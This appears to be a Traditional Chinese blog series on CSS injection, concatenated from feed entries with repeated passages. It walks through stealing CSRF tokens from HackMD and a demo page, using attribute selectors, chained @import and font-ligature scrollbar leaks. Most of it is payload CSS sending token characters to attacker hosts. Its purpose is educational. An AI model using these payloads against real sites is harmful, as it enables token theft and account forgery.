、"C
... 的字體,所以"A
會成功被載入,我們故意將這組連字設的很長,讓橫向的 scroll bar 長出來,此時 Server 可以收到 background 的 request 得知連字 "A
。
Server 端要如何製作字體請參考這裡。
接著 Server 發 API 修改 CSS (請參考上篇,依序載入 "AA
、"AB
、"AC
... 的字體,所以"AB
會成功被載入,我們故意將這組連字設的很長,讓橫向的 scroll bar 長出來,此時 Server 可以收到 background 的 request 得知連字 "AB
。
底下是一輪的 CSS 的樣式:
/* 先把所有字元都載入 */
@font-face{font-family:has_"A;src:url('https://myserver.com/font?query="A')}
@font-face{font-family:has_"B;src:url('https://myserver.com/font?query="B')}
@font-face{font-family:has_"C;src:url('https://myserver.com/font?query="C')}
@font-face{font-family:has_"D;src:url('https://myserver.com/font?query="D')}
@font-face{font-family:has_"E;src:url('https://myserver.com/font?query="E')}
@font-face{font-family:has_"F;src:url('https://myserver.com/font?query="F')}
@font-face{font-family:has_"G;src:url('https://myserver.com/font?query="G')}
@font-face{font-family:has_"H;src:url('https://myserver.com/font?query="H')}
@font-face{font-family:has_"I;src:url('https://myserver.com/font?query="I')}
@font-face{font-family:has_"J;src:url('https://myserver.com/font?query="J')}
@font-face{font-family:has_"K;src:url('https://myserver.com/font?query="K')}
@font-face{font-family:has_"L;src:url('https://myserver.com/font?query="L')}
@font-face{font-family:has_"M;src:url('https://myserver.com/font?query="M')}
@font-face{font-family:has_"N;src:url('https://myserver.com/font?query="N')}
@font-face{font-family:has_"O;src:url('https://myserver.com/font?query="O')}
@font-face{font-family:has_"P;src:url('https://myserver.com/font?query="P')}
@font-face{font-family:has_"Q;src:url('https://myserver.com/font?query="Q')}
@font-face{font-family:has_"R;src:url('https://myserver.com/font?query="R')}
@font-face{font-family:has_"S;src:url('https://myserver.com/font?query="S')}
/* 針對要竊取的地方要做的樣式 */
div.leak {
overflow-x: auto; /* 如果長度超過會長 scrollbar */
whitespace: nowrap; /* 不要折行 */
font-family: rest; /* 預設字體 Courier New */
width: 500px; /* 寬度設為 500px */
animation: trychar step-end 2s 0s;
animation-iteration-count: 1
}
/* 一輪 font-family */
@keyframes trychar {
5% { font-family: has_"A; --leak: url(?a); } /* 變數 --leak = url(?a)
10% { font-family: has_"B; --leak: url(?b); }
15% { font-family: has_"C; --leak: url(?c); }
20% { font-family: has_"D; --leak: url(?d); }
25% { font-family: has_"E; --leak: url(?e); }
30% { font-family: has_"F; --leak: url(?f); }
35% { font-family: has_"G; --leak: url(?g); }
40% { font-family: has_"H; --leak: url(?h); }
45% { font-family: has_"I; --leak: url(?i); }
50% { font-family: has_"J; --leak: url(?j); }
55% { font-family: has_"K; --leak: url(?k); }
60% { font-family: has_"L; --leak: url(?l); }
65% { font-family: has_"M; --leak: url(?m); }
70% { font-family: has_"N; --leak: url(?n); }
75% { font-family: has_"O; --leak: url(?o); }
80% { font-family: has_"P; --leak: url(?p); }
85% { font-family: has_"Q; --leak: url(?q); }
90% { font-family: has_"R; --leak: url(?r); }
95% { font-family: has_"S; --leak: url(?s); }
}
div::-webkit-scrollbar {
background: blue;
}
/* 水平 scrollbar 的 background 向 --leak 變數要 request */
div::-webkit-scrollbar:horizontal {
background: blue var(--leak);
}
看了三篇的 CSS Injection,相信讀者都累了,當膩了駭客讓我們思考如何防禦做個收尾吧!
筆者原本想寫 WebRTC 的系列的,但一不小心聽到 CSS-Injection 新穎的攻擊方式便忍不住下海寫了這系列XD
不知道 WebRTC 何年何月會產出呢! 且讓子彈飛一會兒吧!
]]>不過如過少了熱更新這樣子的功能,我們好像只能不停的刷新頁面,問題是像是 CSRF Token 這種每次刷新就換一組的資料就偷不到了,再者我們試圖插入 CSS 應該是沒辦法造成頁面自動刷新(或是筆者知道的太少...
開門見山地說,我們需要用到 @import
,我們可以再 Hackmd 的 note 這麼寫:
<style>
@import url(https://localhost:5000/payload?len=1)
@import url(https://localhost:5000/payload?len=2)
@import url(https://localhost:5000/payload?len=3)
@import url(https://localhost:5000/payload?len=4)
@import url(https://localhost:5000/payload?len=5)
@import url(https://localhost:5000/payload?len=6)
@import url(https://localhost:5000/payload?len=7)
@import url(https://localhost:5000/payload?len=8)
</style>
至於每個 request 伺服器要回傳甚麼呢? len=1
的這個很明顯的就是要回傳
// length1.css
meta[name="csrf-token"][content^="A"] {
background: url('http://localhost:8100/cssinjection/A');
}
meta[name="csrf-token"][content^="B"] {
background: url('http://localhost:8100/cssinjection/B');
}
meta[name="csrf-token"][content^="C"] {
background: url('http://localhost:8100/cssinjection/C');
}
...
但問題是 len=1 到 len=8 的 request 都會一併送來,假設我們要偷的 Csrf Token 是 ABC
開頭的,當 len=1 回傳的 CSS 樣式被載入時我們的確可以收到 A,但是我們可以先將其他 len=2 ~ len=8 的 request 先擱著,等到收到 A 以後再讓 len=2
回傳
// length2.css
meta[name="csrf-token"][content^="AA"] {
background: url('http://localhost:8100/cssinjection/AA');
}
meta[name="csrf-token"][content^="AB"] {
background: url('http://localhost:8100/cssinjection/AB');
}
meta[name="csrf-token"][content^=AC"] {
background: url('http://localhost:8100/cssinjection/AC');
}
...
要 hold 住 request 讓它不要馬上回傳是可行的嗎? 當然是可以的,在上一篇的範例裡頭我們會將 CsrfToken 一行一行寫入,我們可以利用這個特性,比如說偵測檔案寫到第二行時,代表已經偷到兩個位數,這樣一來 len=3
的 request 便可以利用當前偷倒的兩位數來產生三位數的 CSS 檔案並回傳。
這麼說有點難懂,可以看下面的 GIF:
有讀者可能會發現上面的範例用了 port 5000 以及 port 8100 兩個 Server,會這麼做是因為瀏覽器對於一個 domain 能同時載入的 request 的數量有限制,所以如果全部都是用 同一個 domain 的話,會發現背景圖片的 request 送不出去,因為都被 CSS import 給卡住了。
在上一篇文章我們要用到 Hackmd 的 edit mode 才可以成功竊取 Csrf Token,但現在我們學會即使不支援熱更新也可以偷到 Csrf Token,馬上來試試吧
我得老實說,我失敗了QAQ,去論壇查了一下結果看到疑似是開發人員的回答:
既然這樣只好自己 Demo 一下囉(苦笑
我們簡單模擬遭到攻擊的網頁:
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="token" content="abc123">
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="token" content="abc">
<meta name="csrf-token" content="J7WTbOpV-CDVLTBfmZHsCPPFXmuvDXNstbUM">
<title>Document</title>
<style>
head, meta {
display: block;
}
</style>
<style>@import url(http://localhost:5000/payload?len=1);</style>
<style>@import url(http://localhost:5000/payload?len=2);</style>
<style>@import url(http://localhost:5000/payload?len=3);</style>
<style>@import url(http://localhost:5000/payload?len=4);</style>
<style>@import url(http://localhost:5000/payload?len=5);</style>
<style>@import url(http://localhost:5000/payload?len=6);</style>
<style>@import url(http://localhost:5000/payload?len=7);</style>
<style>@import url(http://localhost:5000/payload?len=8);</style>
<style>@import url(http://localhost:5000/payload?len=9);</style>
<style>@import url(http://localhost:5000/payload?len=10);</style>
<style>@import url(http://localhost:5000/payload?len=11);</style>
<style>@import url(http://localhost:5000/payload?len=12);</style>
<style>@import url(http://localhost:5000/payload?len=13);</style>
<style>@import url(http://localhost:5000/payload?len=14);</style>
<style>@import url(http://localhost:5000/payload?len=15);</style>
<style>@import url(http://localhost:5000/payload?len=16);</style>
<style>@import url(http://localhost:5000/payload?len=17);</style>
<style>@import url(http://localhost:5000/payload?len=18);</style>
<style>@import url(http://localhost:5000/payload?len=19);</style>
<style>@import url(http://localhost:5000/payload?len=20);</style>
<style>@import url(http://localhost:5000/payload?len=21);</style>
<style>@import url(http://localhost:5000/payload?len=22);</style>
<style>@import url(http://localhost:5000/payload?len=23);</style>
<style>@import url(http://localhost:5000/payload?len=24);</style>
<style>@import url(http://localhost:5000/payload?len=25);</style>
<style>@import url(http://localhost:5000/payload?len=26);</style>
<style>@import url(http://localhost:5000/payload?len=27);</style>
<style>@import url(http://localhost:5000/payload?len=28);</style>
<style>@import url(http://localhost:5000/payload?len=29);</style>
<style>@import url(http://localhost:5000/payload?len=30);</style>
<style>@import url(http://localhost:5000/payload?len=31);</style>
<style>@import url(http://localhost:5000/payload?len=32);</style>
<style>@import url(http://localhost:5000/payload?len=33);</style>
<style>@import url(http://localhost:5000/payload?len=34);</style>
<style>@import url(http://localhost:5000/payload?len=35);</style>
<style>@import url(http://localhost:5000/payload?len=36);</style>
</head>
<body>
<div>CSS Injection Demo</div>
</body>
</html>
因為我們要偷 meta 存放的 Csrf Token,所以一定要讓 head 還有 meta 都是 display: block
,同時因為 Csrf Token 有 36 碼,所以要先準備 len=1 ~ len=36 的 request 來要 36 個 CSS 檔案。
我們先寫 CSS Server,先上程式碼:
第三行到第 15 行我們定義了 /payload
這個路由,不過這個路由到底是怎麼製作 CSS 的呢? 讓我們再看到 createStyles 這個函式:
第 22 到第 35 行的地方是針對 len=1
的情況,因為這個 request 不用被 hold,所以在第 26 到 31 行的地方,我們慢慢地把所有一個字母的可能性都寫進 CSS 檔案裡面並回傳。
至於其他 len=2 到 len=36 的 request 都要先 hold 住,比如說 len=30 的 request 要等到偷到 29 個位數的 Csrf Token 後才會根據這 29 位數產生 CSS 並送出。
那我們要如何得知偷 Token 的進度呢? 還記得我們會把偷到的 Csrf Token 給一行一行寫到 csrf.txt 裏頭嗎? 其實我們只要監聽 csrf.txt 的變化並且看目前有幾行便知道偷到哪裡了,同時也得知目前偷到的值。
第 38 行的地方開始監聽 csrf.txt 的變化,第 40 與第 41 將檔案內容讀出來計算行數並抓出最新的一行,接著在第 42 到第 58 行的地方先判斷是不是已經偷到了足夠的位數,以 len = 29 為例,如果已經偷到 28 位便可以根據這 28 位開始製作 CSS,否則就甚麼事也別做~
最後可以注意到第 43 行的地方 watcher.close()
,因為預設一次最多只能同時存在 11 個監聽器,所以已經回傳 CSS 的監聽器便可以先關掉。
剛剛的 Server 是提供樣式的,那麼負責偷取與寫入的 Server 在哪呢? 別急現在就上程式碼:
重點是第 11 行到第 15 行,把路由當中偷到的 Csrf Token 抓出來並寫到 csrf.txt 裏頭。
CSS Injection 好像只能偷到 tag 裡面的 attribute 嘻嘻,如果寫在 text node 裡面就偷不到了吧? 比如說 <div>I am token</div>
, CSS 選擇器的確選不到 text node,不過還是有辦法的喔! 最終章拭目以待吧(笑
不過如過少了熱更新這樣子的功能,我們好像只能不停的刷新頁面,問題是像是 CSRF Token 這種每次刷新就換一組的資料就偷不到了,再者我們試圖插入 CSS 應該是沒辦法造成頁面自動刷新(或是筆者知道的太少...
開門見山地說,我們需要用到 @import
,我們可以再 Hackmd 的 note 這麼寫:
<style>
@import url(https://localhost:5000/payload?len=1)
@import url(https://localhost:5000/payload?len=2)
@import url(https://localhost:5000/payload?len=3)
@import url(https://localhost:5000/payload?len=4)
@import url(https://localhost:5000/payload?len=5)
@import url(https://localhost:5000/payload?len=6)
@import url(https://localhost:5000/payload?len=7)
@import url(https://localhost:5000/payload?len=8)
</style>
至於每個 request 伺服器要回傳甚麼呢? len=1
的這個很明顯的就是要回傳
// length1.css
meta[name="csrf-token"][content^="A"] {
background: url('http://localhost:8100/cssinjection/A');
}
meta[name="csrf-token"][content^="B"] {
background: url('http://localhost:8100/cssinjection/B');
}
meta[name="csrf-token"][content^="C"] {
background: url('http://localhost:8100/cssinjection/C');
}
...
但問題是 len=1 到 len=8 的 request 都會一併送來,假設我們要偷的 Csrf Token 是 ABC
開頭的,當 len=1 回傳的 CSS 樣式被載入時我們的確可以收到 A,但是我們可以先將其他 len=2 ~ len=8 的 request 先擱著,等到收到 A 以後再讓 len=2
回傳
// length2.css
meta[name="csrf-token"][content^="AA"] {
background: url('http://localhost:8100/cssinjection/AA');
}
meta[name="csrf-token"][content^="AB"] {
background: url('http://localhost:8100/cssinjection/AB');
}
meta[name="csrf-token"][content^=AC"] {
background: url('http://localhost:8100/cssinjection/AC');
}
...
要 hold 住 request 讓它不要馬上回傳是可行的嗎? 當然是可以的,在上一篇的範例裡頭我們會將 CsrfToken 一行一行寫入,我們可以利用這個特性,比如說偵測檔案寫到第二行時,代表已經偷到兩個位數,這樣一來 len=3
的 request 便可以利用當前偷倒的兩位數來產生三位數的 CSS 檔案並回傳。
這麼說有點難懂,可以看下面的 GIF:
有讀者可能會發現上面的範例用了 port 5000 以及 port 8100 兩個 Server,會這麼做是因為瀏覽器對於一個 domain 能同時載入的 request 的數量有限制,所以如果全部都是用 同一個 domain 的話,會發現背景圖片的 request 送不出去,因為都被 CSS import 給卡住了。
在上一篇文章我們要用到 Hackmd 的 edit mode 才可以成功竊取 Csrf Token,但現在我們學會即使不支援熱更新也可以偷到 Csrf Token,馬上來試試吧
我得老實說,我失敗了QAQ,去論壇查了一下結果看到疑似是開發人員的回答:
既然這樣只好自己 Demo 一下囉(苦笑
我們簡單模擬遭到攻擊的網頁:
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="token" content="abc123">
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="token" content="abc">
<meta name="csrf-token" content="J7WTbOpV-CDVLTBfmZHsCPPFXmuvDXNstbUM">
<title>Document</title>
<style>
head, meta {
display: block;
}
</style>
<style>@import url(http://localhost:5000/payload?len=1);</style>
<style>@import url(http://localhost:5000/payload?len=2);</style>
<style>@import url(http://localhost:5000/payload?len=3);</style>
<style>@import url(http://localhost:5000/payload?len=4);</style>
<style>@import url(http://localhost:5000/payload?len=5);</style>
<style>@import url(http://localhost:5000/payload?len=6);</style>
<style>@import url(http://localhost:5000/payload?len=7);</style>
<style>@import url(http://localhost:5000/payload?len=8);</style>
<style>@import url(http://localhost:5000/payload?len=9);</style>
<style>@import url(http://localhost:5000/payload?len=10);</style>
<style>@import url(http://localhost:5000/payload?len=11);</style>
<style>@import url(http://localhost:5000/payload?len=12);</style>
<style>@import url(http://localhost:5000/payload?len=13);</style>
<style>@import url(http://localhost:5000/payload?len=14);</style>
<style>@import url(http://localhost:5000/payload?len=15);</style>
<style>@import url(http://localhost:5000/payload?len=16);</style>
<style>@import url(http://localhost:5000/payload?len=17);</style>
<style>@import url(http://localhost:5000/payload?len=18);</style>
<style>@import url(http://localhost:5000/payload?len=19);</style>
<style>@import url(http://localhost:5000/payload?len=20);</style>
<style>@import url(http://localhost:5000/payload?len=21);</style>
<style>@import url(http://localhost:5000/payload?len=22);</style>
<style>@import url(http://localhost:5000/payload?len=23);</style>
<style>@import url(http://localhost:5000/payload?len=24);</style>
<style>@import url(http://localhost:5000/payload?len=25);</style>
<style>@import url(http://localhost:5000/payload?len=26);</style>
<style>@import url(http://localhost:5000/payload?len=27);</style>
<style>@import url(http://localhost:5000/payload?len=28);</style>
<style>@import url(http://localhost:5000/payload?len=29);</style>
<style>@import url(http://localhost:5000/payload?len=30);</style>
<style>@import url(http://localhost:5000/payload?len=31);</style>
<style>@import url(http://localhost:5000/payload?len=32);</style>
<style>@import url(http://localhost:5000/payload?len=33);</style>
<style>@import url(http://localhost:5000/payload?len=34);</style>
<style>@import url(http://localhost:5000/payload?len=35);</style>
<style>@import url(http://localhost:5000/payload?len=36);</style>
</head>
<body>
<div>CSS Injection Demo</div>
</body>
</html>
因為我們要偷 meta 存放的 Csrf Token,所以一定要讓 head 還有 meta 都是 display: block
,同時因為 Csrf Token 有 36 碼,所以要先準備 len=1 ~ len=36 的 request 來要 36 個 CSS 檔案。
我們先寫 CSS Server,先上程式碼:
第三行到第 15 行我們定義了 /payload
這個路由,不過這個路由到底是怎麼製作 CSS 的呢? 讓我們再看到 createStyles 這個函式:
第 22 到第 35 行的地方是針對 len=1
的情況,因為這個 request 不用被 hold,所以在第 26 到 31 行的地方,我們慢慢地把所有一個字母的可能性都寫進 CSS 檔案裡面並回傳。
至於其他 len=2 到 len=36 的 request 都要先 hold 住,比如說 len=30 的 request 要等到偷到 29 個位數的 Csrf Token 後才會根據這 29 位數產生 CSS 並送出。
那我們要如何得知偷 Token 的進度呢? 還記得我們會把偷到的 Csrf Token 給一行一行寫到 csrf.txt 裏頭嗎? 其實我們只要監聽 csrf.txt 的變化並且看目前有幾行便知道偷到哪裡了,同時也得知目前偷到的值。
第 38 行的地方開始監聽 csrf.txt 的變化,第 40 與第 41 將檔案內容讀出來計算行數並抓出最新的一行,接著在第 42 到第 58 行的地方先判斷是不是已經偷到了足夠的位數,以 len = 29 為例,如果已經偷到 28 位便可以根據這 28 位開始製作 CSS,否則就甚麼事也別做~
最後可以注意到第 43 行的地方 watcher.close()
,因為預設一次最多只能同時存在 11 個監聽器,所以已經回傳 CSS 的監聽器便可以先關掉。
剛剛的 Server 是提供樣式的,那麼負責偷取與寫入的 Server 在哪呢? 別急現在就上程式碼:
重點是第 11 行到第 15 行,把路由當中偷到的 Csrf Token 抓出來並寫到 csrf.txt 裏頭。
CSS Injection 好像只能偷到 tag 裡面的 attribute 嘻嘻,如果寫在 text node 裡面就偷不到了吧? 比如說 <div>I am token</div>
, CSS 選擇器的確選不到 text node,不過還是有辦法的喔! 最終章拭目以待吧(笑
這篇文章主要是因為去 2022 iThome 的資安大會聽 Huli 老師講的主題,聽完之後實際去嘗試了用 CSS Injection 去偷 Hackmd 的 CSRF Token 的過程,整個概念十分新穎有趣,有興趣的我們就開始吧~
不知道各位有沒有聽過 XSS (Cross-Site Scripting),XSS 最容易發生的情境在於前端網站將使用者輸入的訊息送到後端,後端再將這些資料原封不動的呈現造成的風險,可能會被嵌入惡意的腳本。
題外話,為甚麼不叫 XSS 不叫 CSS,因為 CSS 已經被用掉了嘛! 說到這裡,有沒有情況是網站讓使用者可以輸入 CSS 定義網頁的樣式呢?
好像不少呢! 不過網頁嵌入自訂義的 CSS 能夠有甚麼風險呢?
我們先試著想想看網頁裡可能會存在甚麼敏感資料呢? 最常見的可能就是 CSRF Token 了吧! 假設有人可以拿到你的 CSRF Token,可能讓你在不知情的情況下被偽造身分, CSRF Token 常常寫在網頁用隱藏表單帶著,這也讓 CSS Ingection 有機可趁! 不知道 CSRF 攻擊的讀者可以看這篇。
input[value^="a"] {
background: url(https://yourdomain/a);
}
如果網頁寫進了這樣的樣式,代表網頁裡如果有 input 的 value 的第一個字是 a 的話,就會跟駭客的伺服器發送請求。
到這裡聰明的讀者有沒有感覺了呢?
在比較實際的情況下,CSRF 存放的 input 通常是 display: hidden
的,我們用 visual studio 快速生成一個 Html 並開啟 live server 實驗。
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="token" content="abc123">
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
input[value^='a'] {
background: url('https://picsum.photos/200/300')
}
</style>
</head>
<body>
<form>
<input type="hidden" name="token" value="abc123">
<input name="action" value="update">
<input type="submit">
</form>
</body>
</html>
結果不意外是因為既然不用顯示,瀏覽器也懶得幫你送出請求 XD
但是如果你換了這個 CSS Selector 呢?
input[value^="a"] + input {
background: url(https://yourdomain/a);
}
這樣一來駭客真的收到了請求。
讀者可能會想到 +
selector 的樣式只會作用在後面的元素上,所以把帶有 CSRF Token 的 input 放在表單最後就安全啦!
沒錯,如此一來 +
selector 的確被廢了手腳,不過今年主流瀏覽器們開始支援 has:
這個 CSS 的 Selector 了(笑
form:has(input[value=^="a"]) {
background: url(https://yourdomain/a);
}
has 這個 CSS Selector 代表指定的元素底下只要有符合條件的元素便會被帶上樣式,如此方便的功能簡直是雙面刃呢XD
事實上有些情況下網頁會選擇把 CSRF Token 藏在 meta 裡,因為 meta 的資訊並不會直接顯示在畫面上,十分合理。接著來練習偷 Meta 的資料吧!
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="token" content="abc123">
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="token" content="abc">
<title>Document</title>
<style>
meta[content^='a'] {
background: url('https://picsum.photos/200/300')
}
</style>
</head>
<body>
<div>CSS Injection Demo</div>
</body>
</html>
meta[content^='a'] {
background: url('https://picsum.photos/200/300')
}
這樣的寫法讀這覺得可行嗎?
因為瀏覽器預設 meta 是 display: none;
,所以是沒有用的噢! 那麼把 CSS 改寫成:
meta {
display: block;
}
meta[content^='a'] {
background: url('https://picsum.photos/200/300')
}
但瀏覽器仍然沒有發出請求,為甚麼呢? 其實是因為 meta 的父層,head 也是預設 display: none
,現在把 CSS 改寫成:
head, meta {
display: block;
}
meta[content^='a'] {
background: url('https://picsum.photos/200/300')
}
請求成功被送出~~
雖然可以偷到網頁的資料,不過像剛剛的情況光第一個字我們就要猜 26 個大寫字母、26 的小寫字母、10 個數字、加上若干的特殊字元,假設總共有 26 + 26 + 10 + 2 = 64 個可能性,並假設 CSRF Token 有 10 位數,這樣我們要寫 64 的 10 次方種 CSS Selector 來窮舉。
但是在特定的情況下,並不用窮舉所有可能,我們可以一個位數一個位數猜! 比方說一開始先寫 64 的字元的 CSS Selector,當 match 到某一個字元的時候,server 會收到那個字元,假設這個字元是 a
好了,那麼接下來 server 只要有辦法再次修改網頁的 CSS Selector,將他們改成:
head, meta {
display: block;
}
meta[content^='aa'] {
background: url('https://yourdomain/aa')
}
meta[content^='ab'] {
background: url('https://yourdomain/ab')
}
meta[content^='ac'] {
background: url('https://yourdomain/ac)
}...
如此一來第 2 次只要從第一次的 a 再往下匹配 64 種組合,依此類推總共只要 64 x 10 = 640 個 CSS Selector 便可以完成! 整個降維呀!
不過這個方法可行的前提是網頁支持熱更新的情況,比如說 websocket,如此才能在使用者沒有任何動作的情況下不停抽換網頁的 CSS。
Hackmd 是一個主流的筆記網站,對自訂樣式的支援十分直接,編輯者可以直接寫 <style></style>
來任意改變網頁樣式。
首先先寫一篇測試的 note。
上面的範例是網路上抄的,並不是筆者 XD
接著按右上角的 Share,觀看模式調成 Edit Mode,為甚麼呢? 因為我發現只有 Edit Mode 產生的網址會及時跟著作者更新文章而更新內容! 這樣才符合上述的網頁支持熱更新的情況,其餘模式下都要刷新畫面才會更新內容。
最後我們觀察要竊取的目標,將剛剛複製的分享連結用無痕模式打開來模擬受害人,然後我們發現在 meta tag 裡面存有 CSRF Token 呢! Bingo!
既然想要透過程式修改文章的內容,動態插入 CSS Selector,首先要先研究 Hackmd 有沒有提供修改文章的 API。
首先要取得 Bearer Token。在帳戶-Setting-API 的 createToken 便可以取得。
接著我們找到我們需要的兩支 API - 取得以及修改 note。
我們在 note 的後面加上:
<style>
head, meta {
display: block;
}
meta[name="csrf-token"] {
background: url('http://localhost:8100/cssinjection/@');
}
</style>
這麼做的目的是讓一開始先讓 server 先收到 @
,然後便開始動態更新第一輪的 64 個 CSS Selector,因為我很懶不想一開始就先寫 64 個 XDD
我們必須寫一個 server 來竊取 CSRF Token,底下是 server 的資料夾結構。
project
│ csrfToken.txt
│ index.js
│ package.json
│ package.json.lock
└───controllers
│ │ getCsrfToken.js
└───node_modules
最外層的 csrfToken.txt 等等會寫入 CSRF Token,而 index.js 則是 server 的主程式。我們先從主程式開始看。
重點在第 13 ~ 20 行的部分,第一次我們會收到 @
的字樣,但這只是一個開始偷 Csrf Token 的信號,所以在這個時候我們會傳入空字串進入 getCsrfToken
而且也不會把 @ 寫進 csrfToken.txt。
這個檔案主要寫動態新增 CSS Selector 的邏輯,第 18 ~ 30 行是第一次收到空字串為參數的時候,先打 Hackmd 的 GetNote API 取得文章內容。
第 29 到第 45 行將第一次取得的文章內容依據目前偷到的 CsrfToken 再加上 64 種 CSS Selector 組合,這樣一來便可以準備送出修改後的文章了。
第 46 到 第 57 行則是打 Hakmd EditNote API 將新增過 CSS Selector 的 Note 給送出。
在開始攻擊前僅僅需要下 node index.js
將 server 開啟,接著將筆記的連結用 Edit Mode 傳給受害者。
讓我們來看看會發生甚麼事。
成功偷出!
在竊取 Hackmd 的 Csrf Token 的案例中,有更快速的方法可以湊出 Csrf Token,利用
input[value$="a"] {
background: url("https://yourdomain/a")
}
同時也配對字尾的狀況下可以節省大約一半的時間。
]]>這篇文章主要是因為去 2022 iThome 的資安大會聽 Huli 老師講的主題,聽完之後實際去嘗試了用 CSS Injection 去偷 Hackmd 的 CSRF Token 的過程,整個概念十分新穎有趣,有興趣的我們就開始吧~
不知道各位有沒有聽過 XSS (Cross-Site Scripting),XSS 最容易發生的情境在於前端網站將使用者輸入的訊息送到後端,後端再將這些資料原封不動的呈現造成的風險,可能會被嵌入惡意的腳本。
題外話,為甚麼不叫 XSS 不叫 CSS,因為 CSS 已經被用掉了嘛! 說到這裡,有沒有情況是網站讓使用者可以輸入 CSS 定義網頁的樣式呢?
好像不少呢! 不過網頁嵌入自訂義的 CSS 能夠有甚麼風險呢?
我們先試著想想看網頁裡可能會存在甚麼敏感資料呢? 最常見的可能就是 CSRF Token 了吧! 假設有人可以拿到你的 CSRF Token,可能讓你在不知情的情況下被偽造身分, CSRF Token 常常寫在網頁用隱藏表單帶著,這也讓 CSS Ingection 有機可趁! 不知道 CSRF 攻擊的讀者可以看這篇。
input[value^="a"] {
background: url(https://yourdomain/a);
}
如果網頁寫進了這樣的樣式,代表網頁裡如果有 input 的 value 的第一個字是 a 的話,就會跟駭客的伺服器發送請求。
到這裡聰明的讀者有沒有感覺了呢?
在比較實際的情況下,CSRF 存放的 input 通常是 display: hidden
的,我們用 visual studio 快速生成一個 Html 並開啟 live server 實驗。
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="token" content="abc123">
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
input[value^='a'] {
background: url('https://picsum.photos/200/300')
}
</style>
</head>
<body>
<form>
<input type="hidden" name="token" value="abc123">
<input name="action" value="update">
<input type="submit">
</form>
</body>
</html>
結果不意外是因為既然不用顯示,瀏覽器也懶得幫你送出請求 XD
但是如果你換了這個 CSS Selector 呢?
input[value^="a"] + input {
background: url(https://yourdomain/a);
}
這樣一來駭客真的收到了請求。
讀者可能會想到 +
selector 的樣式只會作用在後面的元素上,所以把帶有 CSRF Token 的 input 放在表單最後就安全啦!
沒錯,如此一來 +
selector 的確被廢了手腳,不過今年主流瀏覽器們開始支援 has:
這個 CSS 的 Selector 了(笑
form:has(input[value=^="a"]) {
background: url(https://yourdomain/a);
}
has 這個 CSS Selector 代表指定的元素底下只要有符合條件的元素便會被帶上樣式,如此方便的功能簡直是雙面刃呢XD
事實上有些情況下網頁會選擇把 CSRF Token 藏在 meta 裡,因為 meta 的資訊並不會直接顯示在畫面上,十分合理。接著來練習偷 Meta 的資料吧!
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="token" content="abc123">
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="token" content="abc">
<title>Document</title>
<style>
meta[content^='a'] {
background: url('https://picsum.photos/200/300')
}
</style>
</head>
<body>
<div>CSS Injection Demo</div>
</body>
</html>
meta[content^='a'] {
background: url('https://picsum.photos/200/300')
}
這樣的寫法讀這覺得可行嗎?
因為瀏覽器預設 meta 是 display: none;
,所以是沒有用的噢! 那麼把 CSS 改寫成:
meta {
display: block;
}
meta[content^='a'] {
background: url('https://picsum.photos/200/300')
}
但瀏覽器仍然沒有發出請求,為甚麼呢? 其實是因為 meta 的父層,head 也是預設 display: none
,現在把 CSS 改寫成:
head, meta {
display: block;
}
meta[content^='a'] {
background: url('https://picsum.photos/200/300')
}
請求成功被送出~~
雖然可以偷到網頁的資料,不過像剛剛的情況光第一個字我們就要猜 26 個大寫字母、26 的小寫字母、10 個數字、加上若干的特殊字元,假設總共有 26 + 26 + 10 + 2 = 64 個可能性,並假設 CSRF Token 有 10 位數,這樣我們要寫 64 的 10 次方種 CSS Selector 來窮舉。
但是在特定的情況下,並不用窮舉所有可能,我們可以一個位數一個位數猜! 比方說一開始先寫 64 的字元的 CSS Selector,當 match 到某一個字元的時候,server 會收到那個字元,假設這個字元是 a
好了,那麼接下來 server 只要有辦法再次修改網頁的 CSS Selector,將他們改成:
head, meta {
display: block;
}
meta[content^='aa'] {
background: url('https://yourdomain/aa')
}
meta[content^='ab'] {
background: url('https://yourdomain/ab')
}
meta[content^='ac'] {
background: url('https://yourdomain/ac)
}...
如此一來第 2 次只要從第一次的 a 再往下匹配 64 種組合,依此類推總共只要 64 x 10 = 640 個 CSS Selector 便可以完成! 整個降維呀!
不過這個方法可行的前提是網頁支持熱更新的情況,比如說 websocket,如此才能在使用者沒有任何動作的情況下不停抽換網頁的 CSS。
Hackmd 是一個主流的筆記網站,對自訂樣式的支援十分直接,編輯者可以直接寫 <style></style>
來任意改變網頁樣式。
首先先寫一篇測試的 note。
上面的範例是網路上抄的,並不是筆者 XD
接著按右上角的 Share,觀看模式調成 Edit Mode,為甚麼呢? 因為我發現只有 Edit Mode 產生的網址會及時跟著作者更新文章而更新內容! 這樣才符合上述的網頁支持熱更新的情況,其餘模式下都要刷新畫面才會更新內容。
最後我們觀察要竊取的目標,將剛剛複製的分享連結用無痕模式打開來模擬受害人,然後我們發現在 meta tag 裡面存有 CSRF Token 呢! Bingo!
既然想要透過程式修改文章的內容,動態插入 CSS Selector,首先要先研究 Hackmd 有沒有提供修改文章的 API。
首先要取得 Bearer Token。在帳戶-Setting-API 的 createToken 便可以取得。
接著我們找到我們需要的兩支 API - 取得以及修改 note。
我們在 note 的後面加上:
<style>
head, meta {
display: block;
}
meta[name="csrf-token"] {
background: url('http://localhost:8100/cssinjection/@');
}
</style>
這麼做的目的是讓一開始先讓 server 先收到 @
,然後便開始動態更新第一輪的 64 個 CSS Selector,因為我很懶不想一開始就先寫 64 個 XDD
我們必須寫一個 server 來竊取 CSRF Token,底下是 server 的資料夾結構。
project
